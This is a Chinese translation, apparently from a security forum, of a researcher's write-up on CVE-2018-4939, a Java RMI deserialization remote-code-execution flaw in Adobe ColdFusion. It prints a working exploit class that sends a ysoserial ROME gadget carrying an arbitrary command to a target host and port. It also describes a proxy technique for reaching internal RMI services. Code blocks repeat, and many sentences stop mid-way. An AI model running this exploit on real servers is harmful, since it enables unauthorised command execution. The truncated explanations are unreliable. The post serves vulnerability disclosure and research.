登录

ADOBE ColdFusion Java RMI 反序列化 RCE 漏洞详情(CVE-2018-4939)

mss**** / 2018-06-21 07:23:13 / 浏览数 6008 技术文章 技术文章 顶(0) 踩(0)

原文：https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/

2017年10月，我发布了一篇介绍影响Adobe ColdFusion Flex集成服务的Java RMI/反序列化漏洞的概述性文章以及相应的概念验证视频。由于本人发现有些漏洞利用代码对于已经打过补丁的服务器来说仍然奏效，因此，当时并没有公布完整的漏洞细

令人欣慰的是，Adobe已经再次更新了该软件，所以，现在终于可以将这个漏洞的所有细节公之于众了。

RMI 与 java.lang.Object

众所周知，Java远程方法调用（RMI）协议几乎是纯Java序列化的方式实现的——当我们从RMI注册表服务那里请求对象，并调用该对象的方法时，通过网络传输的数据都

```
coldfusion.flex.rmi.DataServicesCFProxy
```

这个类位于ColdFusion安装目录下的"libs/cfusion.jar"文件中，具体代码如下所示：

```
package coldfusion.flex.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;

public abstract interface DataServicesCFProxy extends Remote
{
 public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
 public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
 public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolea
}
```

```
package coldfusion.flex.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;

public abstract interface DataServicesCFProxy extends Remote
{
 public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
 public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
 public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolea
}
```

对于上面的每个方法来说，都可以将任意的Java对象作为参数来进行调用。需要注意的是，诸如List和Map之类的容器，是可以包含任意的Java对象的。问题在于，由于我们

不幸的是，所有的ysoserial有效载荷在这里都无法正常使用。

之前，我在关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中，曾经介绍过如何修改ysoserial有效载荷来成功利用该入口点，以及如何使用Mozilla Rhino JavaScript库来远程执行命令。就本文而言，采用的技术和入口点跟前面的文章中的都是一样的，但目标却变成了与ColdFusion捆绑在一起的ROME库（具体参见"libs/rom

漏洞利用方法——简易方式

下面的代码是一个简单的RMI客户端程序，它从RMI注册表服务获取ColdFusion DataServicesCFProxy对象，然后调用远程的count()方法，注意该方法的参数为null：

```
package nb.barmie.demo;

import coldfusion.flex.rmi.DataServicesCFProxy;
```

```
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIDemo {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, null, null);
 }
}

package nb.barmie.demo;

import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIDemo {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, null, null);
 }
}
```

count()方法的第二个参数是一个java.lang.Object数组，这意味着我们可以在该参数中提供二进制形式的对象，并且这些对象将在服务器上进行反序列化处理。我们可以在这

在2018年4月推出新的更新之前，利用ColdFusion
RMI服务漏洞的最简单方法是重新构建ysoserial。具体来说，就是利用ColdFusion安装目录中的“libs/rome-cf.jar”来构建ysoserial，而不是使用rome
1.0（Maven的依赖项）。完成上述工作后，就可以使用以下代码来生成和投递有效载荷了：

```
package nb.barmie.exploit.standalone;

import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIExploit {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, new Object[] {
     new ROME().getObject(args[2])
   }, null);
 }
}

package nb.barmie.exploit.standalone;

import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIExploit {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, new Object[] {
     new ROME().getObject(args[2])
   }, null);
 }
}
```

我们可以通过参数host、port和command来运行上述漏洞利用代码。

基于BaRMIe的漏洞利用方法

在RMI安全方面完成大量工作之后，我决定在自己的RMI枚举和攻击工具BaRMIe中实现这个反序列化漏洞的利用代码。虽然这样做的话，这个利用代码会更加复杂，但同时

关于RMI的背景知识

我们知道，远程方法调用会涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册表服务，通常可以在TCP端口1099上找到，它实际上就是一个目录服务，用

```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
 }
}
```


```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
 }
}
```


第二个网络服务用于与对象本身进行通信。当对象绑定到RMI注册表服务中的给定名称时，对象的主机和端口将存储在注册服务中（而知道了对象的主机和端口，就可以找到

```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
   obj.someMethod("String Param");
 }
}
```


```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
   obj.someMethod("String Param");
 }
}
```


中间人攻击

在构建BaRMIe时，我的目标是尽可能多地包含漏洞利用有效载荷（POP
gadget链），同时摆脱各种依赖项和单个依赖项的多个版本之类的纠葛。为了实现这一目标，我采用了硬编码静态有效载荷并按需生成动态部分（例如命令字符串和相应的

1. 启动一个将连接转发到目标RMI注册表的RMI注册表代理
2. 调用LocateRegistry.getRegistry()，注意这里使用的是RMI注册表代理的主机和端口，而非RMI注册表服务的主机和端口
3. 调用Registry.lookup()，通过RMI注册表代理（将请求转发给真正的RMI注册表服务）获取远程对象引用
4. 当RMI注册表代理检测到返回的远程对象引用时：
5. 它会启动一个RMI方法代理来将连接转发给实际的RMI对象服务
6. 它会修改远程对象引用，使其指向新的RMI方法代理，而非实际的RMI对象服务
7. 在远程对象引用上调用方法时，相应的连接将“路经”RMI方法代理

既然远程方法调用是通过代理来完成的，那么自然就有机会完全控制该协议了，同时，原来Java虚拟机不许“碰”的一些东西，现在也可以尽情鼓捣了：一个很好的例子就是，

使用RMI方法代理时，可以通过常规方式使用占位符参数（而非有效载荷对象）来调用远程方法。当该方法代理检测占位符对象的字节时，我们可以用经过反序列化处理的有

修改有效载荷

当我第一次在ColdFusion安装目录中发现文件“libs/rome-cf.jar”时，我做的第一件事就是利用BaRMIe创建了一个漏洞利用程序，让它利用RMI方法代理注入两个来自ysose

攻击“内部”服务

也许读者会觉得上面介绍的代理技术非常复杂，但实际上，BaRMIe已经实现了相应的功能，因此，开发这个漏洞利用程序的时候，我只花了半小时就搞定了。

除了可以突破Java虚拟机的某些限制之外，本文介绍的代理方法还有一项额外的优势：控制某些服务。具体来说，就是许多所谓的“内部”RMI服务实际上并不是只对内使用的

但是，默认情况下，RMI对象服务将绑定到所有网络接口。假设目标的外部地址是8.8.8.9，RMI注册表会返回一个对象引用，该对象引用实际上指向目标的内部地址，即10.

参考资料

- 我之前详细介绍ColdFusion安全漏洞的文章 (https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/)
- Adobe安全更新 APSB18-14 (https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html)
- Java反序列化漏洞利用 (https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/)
- ysoserial，Java反序列化有效载荷生成器 (https://github.com/frohoff/ysoserial)
- ROME库 (https://rometools.github.io/rome/)
- BaRMIe ，RMI 枚举与攻击工具 (https://github.com/NickstaDB/BaRMIe)

上一篇：云时代，云服务商如何进行黑产防御？ 下一篇：phpmyadmin4.8.1后台...

1. 0 条回复
   - 动动手指，沙发就是你的了！